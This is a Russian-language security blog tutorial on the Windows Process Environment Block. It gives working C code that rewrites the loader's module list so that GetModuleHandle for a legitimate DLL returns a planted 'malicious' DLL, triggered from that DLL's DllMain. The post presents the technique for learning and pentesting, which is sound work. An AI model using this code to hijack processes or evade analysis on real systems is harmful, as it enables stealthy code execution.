В предыдущей статье мы в первом приближении рассмотрели PEB и разобрались, как подменить аргументы командной строки.
Продолжая разбираться с PEB, рассмотрим еще один способ повлиять на исполнение программы, и попробуем подменить вызываемую из DLL функцию.
Представим классическое приложение, использующее функцию из динамически загружаемой библиотеки:
#include "Windows.h" int main() { LoadLibraryW(L"OrigDll.dll"); (GetProcAddress(GetModuleHandleW(L"OrigDll.dll"),"foo1"))(); }
Напишем простейшую библиотеку, экспортирующую функцию foo1:
extern "C" __declspec(dllexport) void foo1() { MessageBoxA(NULL, "Orig", "Orig", MB_OK); } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
При обычном ходе выполнения получим ожидаемый результат:

Загрузим приложение в IDA Pro и посмотрим, как происходит получение адреса функции foo1
Поставим точку останова

Подключимся отладчиком и в загруженных модулях найдем функцию kernelbase_GetModuleHandleW из kernelbase.dll :

Перейдем к реализации этой функции

Здесь видно, что если в функцию передается NULL, возвращается ImageBaseAddress текущего приложения из PEB, что намекает на возможность модификации PEB для подмены адреса искомой библиотеки.
Иначе, вызывается функция ntdll_LdrGetDllHandle.
Давайте перейдем к реализации этой функции в ntdll.dll:

Здесь видим, что используется LdrGetDllHandleEx, реализация которой в исходниках была в файле ldrapi.c
Обратимся к исходникам ReactOS, которая, хоть и не является копией Windows, во многом повторяет реализации системных функций.

Отсюда видно, что функция использует значение LDR_DATA_TABLE_ENTRY, которое в свою очередь находится в PEB.
Теперь, обладая уверенностью в том, что изменение PEB будет влиять на механизм работы с DLL, давайте представим ситуацию, в результате которой в приложении оказалось 2 DLL с одинаковыми экспортируемыми функциями
Самый простой вариант выглядит так:
int main() { LoadLibraryW(L"OrigDll.dll"); LoadLibraryW(L"SecondLibrary.dll"); (GetProcAddress(GetModuleHandleW(L"OrigDll.dll"),"foo1"))(); (GetProcAddress(GetModuleHandleW(L"SecondLibrary.dll"),"foo1"))(); }
Получим ожидаемый результат в виде последовательного вызова обеих функций:


Теперь приступим к самому интересному.
Попробуем подменить адрес dll, получаемый функцией GetModuleHandle.
Для начала определим все необходимые типы данных и макрос для преобразования строки к нижнему регистру:
#ifndef TO_LOWERCASE #define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1) #endif typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; } PEB_LDR_DATA, * PPEB_LDR_DATA; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; void* BaseAddress; void* EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; HANDLE SectionHandle; ULONG CheckSum; ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; typedef struct _PEB { UCHAR InheritedAddressSpace; //0x0 UCHAR ReadImageFileExecOptions; //0x1 UCHAR BeingDebugged; //0x2 union { UCHAR BitField; //0x3 struct { UCHAR ImageUsesLargePages : 1; //0x3 UCHAR IsProtectedProcess : 1; //0x3 UCHAR IsImageDynamicallyRelocated : 1; //0x3 UCHAR SkipPatchingUser32Forwarders : 1; //0x3 UCHAR IsPackagedProcess : 1; //0x3 UCHAR IsAppContainer : 1; //0x3 UCHAR IsProtectedProcessLight : 1; //0x3 UCHAR IsLongPathAwareProcess : 1; //0x3 }; }; UCHAR Padding0[4]; //0x4 VOID* Mutant; //0x8 VOID* ImageBaseAddress; //0x10 struct _PEB_LDR_DATA* Ldr; //0x18 struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x20 } PEB, * PPEB;
Для того, чтобы самостоятельно найти адреса загруженных модулей, реализуем доступ к PEB_LDR_DATA.
Получаем адрес PEB:
PPEB peb = NULL; peb = (PPEB)__readgsqword(0x60);
Получаем адрес PEB_LDR_DATA:
_PEB_LDR_DATA* ldr = peb->Ldr;
В этой структуре нас интересует InLoadOrderModuleList типа LIST_ENTRY, который является двусвязным списком загруженных модулей:
LIST_ENTRY list = ldr->InLoadOrderModuleList;
Для того, чтобы найти нужный модуль в списке загруженных, будем сравнивать имя модуля, с искомым:
PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list)); PLDR_DATA_TABLE_ENTRY curr_module = Flink; while (curr_module != NULL && curr_module->BaseAddress != NULL) { if (curr_module->BaseDllName.Buffer == NULL) continue; WCHAR* curr_name = curr_module->BaseDllName.Buffer; size_t i = 0; for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) { WCHAR c1, c2; TO_LOWERCASE(c1, module_name[i]); TO_LOWERCASE(c2, curr_name[i]); if (c1 != c2) break; } if (module_name[i] == 0 && curr_name[i] == 0) { //found } curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink; }
Отлично, модуль в PEB находить научились. Теперь давайте в случае, если модуль найден, заменим его BaseAddress и заодно проверим, совпадает ли он с результатом GetModuleHandle.
В итоге получим функцию подмены адреса DLL:
BOOL spoofDllHandle(WCHAR* module_name, LPVOID newHandle) { PPEB peb = NULL; peb = (PPEB)__readgsqword(0x60); _PEB_LDR_DATA* ldr = peb->Ldr; LIST_ENTRY list = ldr->InLoadOrderModuleList; PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list)); PLDR_DATA_TABLE_ENTRY curr_module = Flink; while (curr_module != NULL && curr_module->BaseAddress != NULL) { if (curr_module->BaseDllName.Buffer == NULL) continue; WCHAR* curr_name = curr_module->BaseDllName.Buffer; size_t i = 0; for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) { WCHAR c1, c2; TO_LOWERCASE(c1, module_name[i]); TO_LOWERCASE(c2, curr_name[i]); if (c1 != c2) break; } if (module_name[i] == 0 && curr_name[i] == 0) { curr_module->BaseAddress = newHandle; if (GetModuleHandleW(module_name) == newHandle) return TRUE; return FALSE; } curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink; } return FALSE; }
Что с этим делать-то?
Давайте представим ситуацию, когда вторая загружаемая DLL является вредоносной. Такое часто происходит в случае, когда приложение уязвимо к подмене DLL.
Во второй DLL в DllMain реализуем вызов функции подмены адреса оригинальной библиотеки на вредоносную:
wchar_t toSpoofName[] = L"OrigDll.dll"; BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { if (spoofDllHandle(toSpoofName, hModule)) { MessageBoxW(NULL, L"SUCCESS!", L"SPOOFED", MB_OK); } break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
В результате, если библиотека будет загружена, адрес оригинальной будет подменен на наш, и выскочит MessageBox:

А затем будет вызвана функция из вредоносной библиотеки:

Более того, теперь при вызове функции, которая реализована только в вредоносной библиотеке, обращаясь к оригинальной, получим вызов:
#include "Windows.h" int main() { LoadLibraryW(L"OrigDll.dll"); LoadLibraryW(L"SecondLibrary.dll"); (GetProcAddress(GetModuleHandleW(L"OrigDll.dll"),"foo1"))(); (GetProcAddress(GetModuleHandleW(L"OrigDll.dll"),"newFunc"))(); }

Такая подмена DLL может служить альтернативным способом проксирования функций, а так же простейшей защитой собственной библиотеки от динамического анализа, в случае подмены адреса самой библиотеки.
Мы уже описали два способа манипуляций PEB, однако существует еще их огромное количество, о которых мы когда-нибудь обязательно расскажем!
Напоминаем, что хакинг является незаконной деятельностью и допустим только в случае тестирования на проникновение в согласовании с заказчиком.
Подписывайтесь на наш telegram-канал AUTHORITY.
